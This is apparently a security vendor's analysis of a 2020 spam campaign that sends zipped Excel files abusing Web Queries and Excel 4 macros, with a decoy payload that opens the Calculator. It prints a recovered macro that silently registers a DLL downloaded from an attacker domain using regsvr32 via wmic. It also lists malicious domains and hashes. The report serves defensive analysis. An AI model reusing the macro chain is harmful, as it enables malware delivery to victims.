While abuse of Excel Web Query (IQY) is nothing new in malware [1], a recent case had not just the Hornetsecurity Security Lab researchers but also other researchers [3][6] puzzled.
A email spam campaign delivering malicious Excel documents in zipped archives which eventually only start the Windows Calculator application on the analysts computers, potentially, in an attempt to deflect from their real payload delivered to victims. The Security Lab unravels the case in this report.

The Procedure

The malicious documents are distributed as zip archived attachments named invoice*.xls.zip with the * part being the only variable part.
The accompanying email message is very short, sometimes without greeting, sometimes with, but always referring the victim to the attachment without further text:

Email Example Malware Scam

Once unzipped and opened the document generates a pop up with the fake dialog message, stating “We found a problem with some content. Do you want to try to recover as much as we can?”:

Email Example Office Excel Scam

Then the document uses Excel Web Query to download further macro code from a remote location.
One such observed macro code downloaded and started an executable (identified as w32-dll-run-shellcode.dll), which in turn executes the Windows Calculator application calc.exe.

The Hornetsecurity Security Lab believes this was/is not the intended payload. However, from OSINT research and correlating other sources the only confirmed delivered payload was said w32-dll-run-shellcode.dll. It is not known whether at any other points in time a malicious payload instead of the w32-dll-run-shellcode.dll was delivered. Nor is known whether w32-dll-run-shellcode.dll is/was served intentionally or in error.

Technical Analysis


The document has a hidden sheet:

Hidden Sheet Example

On this hidden sheet in the cells the macro code for the previous outlined decoy pop up can be seen:

Inside Hidden Sheet Malwarescam

When executing the document without Internet an error is received stating the malicious URL that was attempted to be loaded:

Unable to Open URL Malwarescam

When executing the document with emulated Internet and passing the request a generic reply a Web query error is received:

Web Query Error MalwareScam

Knowing this fact, the Data Connections of the Workbook can be examined to reveal the Web Query connection string:

Web Query Connection String MalwareScam

Unfortunately, the Excel Web Query (IQY) file could not be loaded and HTTP connections were redirected via a 301 code to https://www.google.com/. This is a known technique to block researchers from accessing the payload. This could happen based on IP address ranges or so called geofencing, so only intended victim networks have access to the payload, or the URL could only allow a specific number of payload downloads before redirection.

From other sources it is known that one Excel Web Query request returned:

Source Code MalwareScam

While the =CLOSE(FALSE) commands instruct Excel to close the Workbook, we further investigated the base URL /lander/excel4_158158672/index.html. However, it also redirected to https://www.google.com/.

Eventually, /lander/excel4 returns the following Excel 4 macro:


=IF(ALERT(“The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.”,2), WAIT(NOW()+”00:00:01″), )

=EXEC(“wmic process call create “”regsvr32 -s c:\\Users\\Public\\fbafb4234.html”””)


This macro downloads a file from https://merystol.xyz/SDVsdv23r to c:\\Users\\Public\\fbafb4234.html via urlmon.URLDownloadToFileA. Then launches regsvr32 via wmic process call create to silently (-s switch) register the downloaded DLL.

And here the case gets curious: While the above URL on https://merystol.xyz/SDVsdv23r redirected to https://www.google.com/ during our analysis, from VirusTotal it can be seen that the URL at one point in the past served a file with the hash 85697bfc0e89c5499a46aeec656b3b9facd8b9fe7174b3db9b2b9f7dbcbaaedb [2].

MalwareScam VirusTotal Screenshot

The w32-dll-run-shellcode.dll is very bare containing no imports and barely any strings:

$ strings 85697bfc0e89c5499a46aeec656b3b9facd8b9fe7174b3db9b2b9f7dbcbaaedb.bin
!This program cannot be run in DOS mode.

Githubtribution via the w32-dll-run-shellcode.dll string leads to https://github.com/CryptXor/win-exec-calc-shellcode/blob/master/build_config.py (a clone from the original project at https://code.google.com/archive/p/win-exec-calc-shellcode/). The code in questions is identical to https://github.com/CryptXor/win-exec-calc-shellcode/blob/master/w32-exec-calc-shellcode.asm. This is old PoC code by an offensive security researcher that executes calc.exe.

The download of this w32-dll-run-shellcode.dll has also been observed by other researchers [3].

The same w32-dll-run-shellcode.dll was also available at https://brinchik.xyz/Qz8ZNnxg [4]. A domain and URL naming scheme that fits with the malware observed in here. That same URL had re-directions to a URL downloading Ursnif. This was previously analyzed by another researcher [5]. Meaning that it is likely that the execution of calc.exe is a calculated move by the attackers to deflect analysis of the real payload. Whether this campaign is related to Ursnif and what actor, however, can not be determined at this point.


The emails are send from real aol.com (89 %) and wp.pl (11 %) email accounts. Hence the aol.com emails also pass DMARC validation. We could not observe reuse of email addresses, meaning the delivery was definitively coordinated ensuring that a clean sender email was used for each delivery. However, the would be recipients indicate no targeting for a specific sector or industrial vertical.

Emails have been delivered on 2020-02-14, 2020-02-19, 2020-02-20 and 2020-02-21:

Email Delivery History

The sender names follow the pattern firstname.lastname[0-9a-z]{0,5}@(aol.com|wp.pl).

The low volume of emails could also indicate that this was a first test or demonstration of a new malicious document type leveraging Excel Web Queries.

Conclusion and Remediation

This campaign uses Excel 4 macros and Excel Web Queries for execution and delivery of a – yet unknown – 2nd stage malware. This likely allows the circumvention of some detentions looking only for VBA macros. What payload exactly is delivered and whether the delivery of a 2nd stage that simply opens the Calculator application is by design as an analysis evasion technique or by error is yet unknown. What is clear that the time spend in the delivery phase and the redirections to Google on the payload URL indicate that this is likely a calculated deflection.

Users can protect themselves from this type of malicious documents by:

  • disabling macros and remote content in Office.
  • not enabling any editing or macro features even if instructed to do so by a document.

Hornetsecurity already blocks this style of malicious campaigns and the Security Lab is further monitoring the situation.

Indicators of Compromise (IOCs)


SHA256 Description
018902c1bbfe41581710c5efad2a2c9f516bd7aa98dc8432584520623e7eb2bc Document
6dcc25eb214c38bc942ffdbe8680a1dec867ac4780aac7262391298d561b5928 Document
822054123910494bbb80cc4e46f79f045cc527dc12d89bda4b8b58bd9be417f7 Document
dc778302fefac2735c112311736e2050eef7a2b84b1e1569b0456e8349d0715c Document
e1bf01178976efeedcd277f83bebc02f8f4d687d7348d906950a0a524f3f1a98 Document


  • doolised.xyz
  • emmnebuc.xyz
  • merystol.xyz
  • veqejzkb.xyz

MITRE ATT&CK techniques

Tactic ID Name Description
Initial Access T1193 Spearphishing Attachment Sends email to obtain initial access.
Execution T1204 User Execution Victim executes the payload.
Execution T1047 Windows Management Instrumentation WMI was used to execute loading of 2nd stage payload.
Defense Evasion T1117 Regsvr32 Proxy execution of 2nd stage payload.